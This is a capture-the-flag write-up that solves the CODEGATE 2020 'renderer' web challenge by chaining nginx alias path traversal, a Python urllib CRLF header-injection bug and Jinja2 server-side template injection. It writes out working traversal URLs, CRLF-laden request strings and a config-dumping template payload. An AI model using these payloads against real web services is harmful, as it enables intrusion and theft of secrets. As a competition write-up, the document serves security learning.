## Challenge: renderer
Challenge is available as a web service on http://110.10.147.169/renderer/. Useris able to send arbitrary URL using POST request. Server retrieves specified URLand sends contents embedded into some HTML template back to user. Something likea proxy.
Few files a provided too: [Dockerfile](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/challenge/Dockerfile) and[run.sh](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/challenge/settings/run.sh).
### Basic properties
[Dockerfile](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/challenge/Dockerfile) is pretty interesting:
```FROM python:2.7.16
ENV FLAG CODEGATE2020{**DELETED**}
RUN apt-get updateRUN apt-get install -y nginxRUN pip install flask uwsgi
ADD prob_src/src /home/srcADD settings/nginx-flask.conf /tmp/nginx-flask.conf
ADD prob_src/static /home/staticRUN chmod 777 /home/static
...```
Python version immediately attracts attention: Python 2.7 is deprecated, and`2.7.16` is not even the latest stable version of 2.7 branch.
Second interesting thing: flag seems to be supplied in an environment variable.
Third: web service is using [Flask](https://www.palletsprojects.com/p/flask/)framework and running under [nginx](https://nginx.org/) +[uwsgi](https://github.com/unbit/uwsgi).
Paths `/home/src` and `/home/static` are important too, but not in obvious wayat this stage.
[run.sh](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/challenge/settings/run.sh) just starts all required services withright configuration. Nothing interesting.
### First vulnerability
One of my teammates quickly found the first vulnerability: it is possible toretrieve service's source code using URLs like`http://110.10.147.169/static../src/run.py`.
There is a known flaw in many nginx configurations: missing trailing slash innginx's "location" rule may allow reading files in parent directory. Forexample:
```location /static{    alias /home/static/;}```
nginx matches first characters - `/static` - and appends the rest to the "alias"path. So `/staticblah/blah` becomes `/home/static/blah/blah`, and`/static../blah` becomes `/home/static/../blah` (handled as `/home/blah` by OS).
Now we can download[complete source code of the service](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/service/prob_src/src) (note that itcontains `print`s added by me manually). Enough to even run the same servicelocally for further investigation.
### Second vulnerability
[routes.py](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/service/prob_src/src/app/routes.py) contains most of the code. Itreveals that service actually provides more than one function:
 * `/` - already known "proxy service"; * `/whatismyip` - shows user's IP address; * `/admin` - writes some info into separate per-request log files; * `/admin/ticket` - allows reading of log files.
Certain conditions should be met to trigger different code paths on `/admin` and`/admin/ticket`: client's IP address equal to `127.0.0.1` or `127.0.0.2`,specific `User-Agent` string.
Getting `127.0.0.1` as a client's IP address is easy: just request`http://127.0.0.1/something` from the "proxy service" itself. This is enough toget `127.0.0.1` in both Flask's `request.remote_addr` and HTTP header`X-Forwarded-For` added by nginx.
Forging `User-Agent` HTTP header and something other than `127.0.0.1` in`X-Forwarded-For` is a bit more difficult.
Let's check how "proxy" retrieve content from user-supplied URLs:
```pythondef proxy_read(url):    #TODO : implement logging
    s = urlparse(url).scheme    if s not in ["http", "https"]: #sjgdmfRk akfRk        return ""
    return urllib2.urlopen(url).read()``` 
There is a known bug in `urllib` in some python versions (<= 2.7.16and <= 3.7.2):[[CVE-2019-9740] Python urllib CRLF injection vulnerability](https://bugs.python.org/issue36276).
The idea is to supply specially crafted URL to the proxy service. Here is hownormal `urllib2.urlopen()` request looks like (Python 2.7.16):
```>>> urllib2.urlopen('http://127.0.0.1/test')
# nc -l -p 80GET /test HTTP/1.1Accept-Encoding: identityHost: 127.0.0.1Connection: closeUser-Agent: Python-urllib/2.7
```
With added `\r\n` into the host name field:
```>>> urllib2.urlopen('http://127.0.0.1/first HTTP/1.1\r\nInjected-Header: xxx/test')
# nc -l -p 80GET /first HTTP/1.1Injected-Header: xxx/test HTTP/1.1Accept-Encoding: identityHost: 127.0.0.1Connection: closeUser-Agent: Python-urllib/2.7
```
Using this, we may even replace all headers:
```>>> urllib2.urlopen('http://127.0.0.1/first HTTP/1.1\r\nNew-Header: xxx\r\nAnother-Header: yyy\r\n\r\ngarbage start here')
# nc -l -p 80GET /first HTTP/1.1New-Header: xxxAnother-Header: yyy
garbage start here HTTP/1.1Accept-Encoding: identityHost: 127.0.0.1Connection: closeUser-Agent: Python-urllib/2.7
```
As "proxy" accepts any `http://` or `https://` URL, this solves our problemwith `User-Agent` and `X-Forwarded-For` validation.
### Final (third) vulnerability
Now we need a way to read the flag from environment variable.
We are able to read service's log files using `/admin/ticket`. Here is therelevant parts of code:
```pythondef read_log(ticket):    if not (ticket and ticket.isalnum()):        return False
    if path.exists("/home/tickets/%s" % ticket):        with open("/home/tickets/%s" % ticket, "r") as f:            return f.read()    else:        return False
@front.route("/admin/ticket", methods=["GET"])def admin_ticket():    ...    if request.args.get("ticket"):        log = read_log(request.args.get("ticket"))        if not log:            abort(403)        return render_template_string(log)```
We cannot send arbitrary string as a ticket ID because of `ticket.isalnum()`check. But service calls Flask's `render_template_string()` directly on stringread from log file. This means that service interprets log files as a[Jinja2](https://www.palletsprojects.com/p/jinja/) templates.
But first we need a way to inject Jinja2 code to get it executed on the serverside. Fortunately, there is a code path allowing exactly this:
```pythondef write_log(rip):    tid = hashlib.sha1(str(time.time()) + rip).hexdigest()    with open("/home/tickets/%s" % tid, "w") as f:        log_str = "Admin page accessed from %s" % rip        f.write(log_str)    return tid
def get_real_ip():    return request.headers.get("X-Forwarded-For") or get_ip()
@front.route("/admin", methods=["GET"])def admin_access():    ip = get_ip()    rip = get_real_ip()    ...    if ip != rip: #if use proxy        ticket = write_log(rip)        return render_template("admin_remote.html", ticket = ticket)    ...```
So it is possible to inject Jinja2 code in `X-Forwarded-For` and then execute itusing `/admin/ticket?ticket=<ID>`.
What Jinja2 code do we need to expose flag? In fact, it is possible to executearbitrary Python code from Jinja2 templates, but that is overkill for currentchallenge. Here is one line from[\_\_init\_\_.py](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/service/prob_src/src/app/__init__.py):
```pythonapp.config["FLAG"] = os.getenv("FLAG", "CODEGATE2020{}")```
It loads flag from the environment variable into Flask's `app.config`. Justgoogle "jinja2 code injection", the first link:[Server Side Template Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection)."Dump all config variables" snippet is the right answer:
```{% for key, value in config.iteritems() %}    <dt>{{ key|e }}</dt>    <dd>{{ value|e }}</dd>{% endfor %}```
### The flag
[sol.py](https://github.com/im-0/ctf/blob/master/2020.02.08-CODEGATE_2020_Quals/renderer/sol.py) combines all three vulnerabilities in one automated exploit.
Flag: `CODEGATE2020{CrLfMakesLocalGreatAgain}`.